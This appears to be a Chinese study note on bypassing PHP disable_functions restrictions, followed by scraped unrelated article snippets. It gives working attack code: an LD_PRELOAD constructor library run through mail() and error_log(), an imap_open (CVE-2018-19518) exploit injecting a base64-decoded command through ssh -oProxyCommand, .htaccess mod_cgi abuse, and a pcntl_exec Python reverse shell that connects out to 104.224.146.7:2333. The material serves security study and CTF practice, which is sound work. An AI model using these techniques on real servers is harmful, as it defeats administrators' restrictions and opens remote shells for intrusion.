通常bypass的思路如下

1. 攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞
2. 寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec()
3. mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制
4. 利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果

readelf -Ws /usr/bin/sendmail

通过readelf可以查看id程序可能调用的系统API函数,这个命令结果仅代表可能被调用的API,不代表一定调用

通过strace -f +程序执行 才能看到程序实际的内部调用情况

1.利用LD_PRELOAD

LD_PRELOAD是Linux系统的一个环境变量,用于动态库的加载,动态库加载的优先级最高,它可以影响程序的运行时的链接(Runtime linker),
它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,
我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),
而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的目的。

execve

execve(执行文件)在父进程中fork一个子进程,在子进程中调用exec函数启动新的程序。
exec函数一共有六个,其中execve为内核级系统调用,其他(execl,execle,execlp,execv,execvp)都是调用execve的库函数
execve()用来执行参数filename字符串所代表的文件路径,第二个参数是利用指针数组来传递给执行文件,并且需要以空指针(NULL)结束,最后一个参数则为传递给执行文件的新环境变量数组。

 关键:

虽然 LD_PRELOAD 为我提供了劫持系统函数的能力,但前提是我得控制 php 启动外部程序(调用execve fock子进程)才行(只要有进程启动行为即可,无所谓是谁,因为新进程启动将重新LD_PRELOAD,而LD_PRELOAD用于加载动态链接库)

常见的 system() 启动程序方式显然不行,否则就不存在突破 disable_functions 一事了。PHP 脚本中除了调用 system()、exec()、shell_exec() 等等一堆 php 函数外,还有哪种可能启动外部程序呢?php 解释器自身!比如,php 函数 goForward() 实现“前进”的功能,php 函数 goForward() 又由组成 php 解释器的 C 语言模块之一的 move.c 实现,C 模块 move.c 内部又通过调用外部程序 go.bin 实现,那么,我的 php 脚本中调用了函数 goForward(),势必启动外部程序 go.bin。现在,我需要找到类似 goForward() 的真实存在的 PHP 函数。

如果想创建一个动态链接库,可以使用 GCC 的-shared选项。输入文件可以是源文件、汇编文件或者目标文件。

另外还得结合-fPIC选项。-fPIC 选项作用于编译阶段,告诉编译器产生与位置无关代码(Position-Independent Code);这样一来,产生的代码中就没有绝对地址了,全部使用相对地址,所以代码可以被加载器加载到内存的任意位置,都可以正确的执行。这正是共享库所要求的,共享库被加载时,在内存的位置不是固定的。

putenv+mail

以发送邮件功能的mail函数为例,这里成功通过execve启动了新的进程,即调用了/usr/sbin/sendmail

用相同的测试方式,还找到一个 imap_mail(),之前是劫持getuid函数是因为sendmail程序调用该函数,在真实环境中,存在两方面问题:一是,某些环境中,web 禁止启用 senmail、甚至系统上根本未安装 sendmail,也就谈不上劫持 getuid(),回到 LD_PRELOAD 本身,系统通过它预先加载共享对象,如果能找到一个方式,在加载时就执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖 sendmail 了。

原作者找到了__attribute__ ((__constructor__))

 It's run when a shared library is loaded, typically during program startup.

也就是说所以当我们最开始将evil shared library load上后,就会触发__attribute__ ((__constructor__)),从而达成我们rce的目的。

比如编写如下c程序:

#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h> __attribute__ ((__constructor__)) void angel (void){
unsetenv("LD_PRELOAD");
system("ls");
}

putenv+imap_mail

imap_mail也是php用来发送电子邮件的的一个函数,用法和mail函数差不多,同样会调用sendmail命令:

putenv+error_log

error_log(error,type,destination,headers)

当type为1时,服务器就会把error发送到参数 destination 设置的邮件地址

使用strace看一下,说明error_log函数也会启动新的进程

那么这个函数也会跟mail函数一样去加载我们的共享库,从而配合LD_PRELOAD来实现rce

利用ImageMagick

当imagick去处理以下后缀的文件时,将会调用ffmpeg去处理文件,即将会fork新的子进程,这正是我们想要的效果

wmv,mov,m4v,m2v,mp4,mpg,mpeg,mkv,avi,3g2,3gp

可以看到,此时调用了/usr/bin/ffmpeg去处理该程序,所以肯定会加载LD_PRELOAD,从而来加载我们的恶意共享库so文件

利用imap_open (CVE-2018-19518)

php imap扩展用于在PHP中执行邮件收发操作。其imap_open函数会调用rsh来连接远程shell,而debian/ubuntu中默认使用ssh来代替rsh的功能(也就是说,在debian系列系统中,执行rsh命令实际执行的是ssh命令)。因为ssh命令中可以通过设置-oProxyCommand=来调用第三方命令,攻击者通过注入注入这个参数,最终将导致命令执行漏洞。

比如执行

ssh -oProxyCommand="touch test.txt" 192.168.1.123

将会创建test.txt,环境在:

https://github.com/vulhub/vulhub/tree/master/php/CVE-2018-19518

直接进入docker容器测试exp:

<?php
$exp = "echo test!test! > /tmp/test";
$base64_exp = base64_encode($exp);
$server = "x -oProxyCommand=echo\t${base64_exp}|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());
?>

当然这里-oProxyCommand= 后面的命令我们可以自定以,要是对一些关键词过滤的话我们还可以命令写入一些文件中,然后bash + 文件名来执行其中的bash命令,但是bash关键词不能被过滤

利用pcntl_exec突破disable_functions

直接通过pcntl_exec反弹shell:

<?php  pcntl_exec("/usr/bin/python",array('-c', 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("104.224.146.7",2333));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'));?>

.htaccess:不止重定向

在apache的WEB环境中,我们经常会使用.htaccess这个文件来确定某个目录下的URL重写规则,特别是一些开源的CMS或者框架当中经常会用到,比如著名的开源论坛discuz!
就可以通过.htaccess文件实现URL的静态化,大部分PHP框架,例如ThinkPHP和Laravel,在apache环境下会用.htaccess文件实现路由规则。
但是如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令。

条件

第一,必须是apache环境
第二,mod_cgi已经启用  (在/etc/apache2/mods-enables里面可以看到apache已经加载的模块,或者使用apache_get_modules()返回开启的模块)
第三,必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none  (apache2.conf)
第四,必须有权限写.htaccess文件

在apache的配置中,有一个非常重要的指令,Options,Options指令是Apache配置文件中一个比较常见也比较重要的指令,Options指令可以在Apache服务器核心配置(server config)、虚拟主机配置(virtual host)、特定目录配置(directory)以及.htaccess文件中使用,Options指令的主要作用是控制特定目录将启用哪些服务器特性我们用到的就是ExecCGI选项,表示允许使用mod_cgi模块执行CGI脚本

除了Options,我们还要配合另外一个AddHandler指令来使用,如果你对AddHandler不太熟悉没关系,这么解释一下就容易理解多了:AddType我们肯定很熟悉,比如配置apache对PHP的支持的时候,经常会添加一行类似AddType application/x-httpd-php .php这样的配置,这其实是指定了文件扩展名和内容类型之间的映射关系,而AddHandler则是指定扩展名和处理程序之间的关系,也就是说,可以指定某个特定的扩展名的文件,如何来进行处理。

php特定版本bypass

1.php7.0-php7-gc-bypass执行效果如下图

对于适用版本的php直接运行即可。

2.对于php-cgi或者php-fpm模式运行的Apache服务器

可以使用

https://github.com/beched/php_disable_functions_bypass

open_basedir要关闭

3.php7.1版本,以及以下版本可以:

参考:

https://xz.aliyun.com/t/4623#toc-10

https://xz.aliyun.com/t/5320#toc-2

https://github.com/Bo0oM/PHP_imap_open_exploit

https://github.com/mdsnins/ctf-writeups/blob/master/2019/0ctf%202019/Wallbreaker%20Easy/WallbreakerEasy.md

https://baike.baidu.com/item/execve

http://47.98.146.200/index.php/archives/44/

https://skysec.top/2019/02/25/%E4%BB%8E%E4%B8%80%E9%81%93%E9%A2%98%E7%9C%8Bimap_open()%20RCE/#%E5%89%8D%E8%A8%80

https://skysec.top/2019/03/25/2019-0CTF-Web-WriteUp/#%E4%BC%A0%E7%BB%9F%E6%96%B9%E5%BC%8F-hijacking-function

bypass disable_function总结学习的更多相关文章

  1. bypass disable_function的方法及蚁剑插件bypass-php-function使用

    bypass disable_function的方法及蚁剑插件bypass-php-function使用 在学习php时,发现有许多函数会对网站或系统造成很大危险隐患,常见的危险函数有: phpinf ...

  2. php bypass disable_function 命令执行 方法汇总简述

    1.使用未被禁用的其他函数 exec,shell_exec,system,popen,proc_open,passthru (python_eval?perl_system ? weevely3 wi ...

  3. bypass disable_function

    windows 1.com组件绕过 <?php$command=$_POST['a'];$wsh = new COM('WScript.shell'); // 生成一个COM对象 Shell.A ...

  4. CTFHub-技能树-Bypass disable_function:LD_PRELOAD

    LD_PRELOAD 目录 LD_PRELOAD 题目描述 解题过程 简单测试 查看phpinfo 编译动态链接库 写调用代码 题目描述 目标:获取服务器上/flag文件中的 flag.需要了解 Li ...

  5. java高版本下各种JNDI Bypass方法复现

    目录 0 前言 1 Java高版本JNDI绕过的源代码分析 1.1 思路一的源码分析 1.2 思路二的源码分析 2 基于本地工厂类的利用方法 2.1 org.apache.naming.factory ...

  6. 0ctf-Wallbreaker Easy复现

    补坑+1. 有预留的后门,并且给了phpinfo,因此可以从phpinfo中先搜集一波信息: 这里禁用了很多命令执行的函数,所以应该要bypass_disablefunction,先读一下flag在哪 ...

  7. bypass安全狗测试学习

    搭建简单的sql注入环境 在test数据库中创建sqltest表,插入字段数据 编写存在注入的php文件 <?php $id = $_REQUEST['uid']; echo "您当前 ...

  8. 学习 bypass csp记录

    最近看到一篇bypas csp的记录复现学习下 配置csp 这里直接设置html头达到配置csp的效果. Content-Security-Policy: script-src 'self' 'uns ...

  9. CobaltStrike逆向学习系列(5):Bypass BeaconEye

    这是[信安成长计划]的第 5 篇文章 关注微信公众号[信安成长计划] 0x00 目录 0x01 BeaconEye 检测原理 0x02 Bypass 1 0x03 Bypass 2 0x04 效果图 ...

随机推荐

  1. gperftools源码分析和项目应用 - CPU Profiler

    gperftools源码分析和项目应用 - CPU Profiler 原文:https://blog.csdn.net/yubo112002/article/details/81076821 原文链接 ...

  2. springboot 集成 dubbo(一)简介

    一.简介 1,springboot 是 一款快速开发的框架,减少了开发人员对配置文件的操作.采用一些注解来取代xml配置文件. 注解包含预先封装的注解和开发人员自定义注解.同时使用Maven.Grad ...

  3. Python: NumPy, Pandas学习资料

    NumPy 学习资料 书籍 NumPy Cookbook_[Idris2012] NumPy Beginner's Guide,3rd_[Idris2015] Python数据分析基础教程:NumPy ...

  4. jqGrid TreeGrid 加载数据 排序 扩展

    发现 jqGrid TreeGrid 加载的数据必须要排序 给了两种平滑数据模式尽然不内部递归 所以改了下源码加了个数据二次过滤器扩展 数据本该是这样的 结果没排序成这样了 (而且还得是从根节点到子节 ...

  5. 常用Linux文件系统

  6. Flutter——ListView组件(平铺列表组件)

    ListView的常见参数: 名称 类型 说明 scrollDirection Axis Axis.horizontal 水平列表 Axis.vertical 垂直列表 padding EdgeIns ...

  7. TF版网络模型搭建常用代码备忘

    本文主要介绍如何搭建一个网络并训练 最近,我在写代码时经常碰到这样的情况,明明记得代码应该怎么写,在写出来的代码调试时,总是有些小错误.原因不是接口参数个数不对,就是位置不对.为了节约上网查找时间,现 ...

  8. centos 6.4系统双网卡绑定配置详解

    Linux双网卡绑定实现就是使用两块网卡虚拟成为一块网卡(需要交换机支持),这个聚合起来的设备看起来是一个单独的以太网接口设备,通俗点讲就是两块网卡具有相同的IP地址而并行链接聚合成一个逻辑链路工作. ...

  9. How to export Overload functions from DLL?

    Library that exports functions library liba; procedure F(X: Integer); stdcall; overload; begin end; ...

  10. 【转】GO语言map类型interface{}转换踩坑小记

    原文:https://www.az1314.cn/art/69 ------------------------------------------ mapA := make([string]inte ...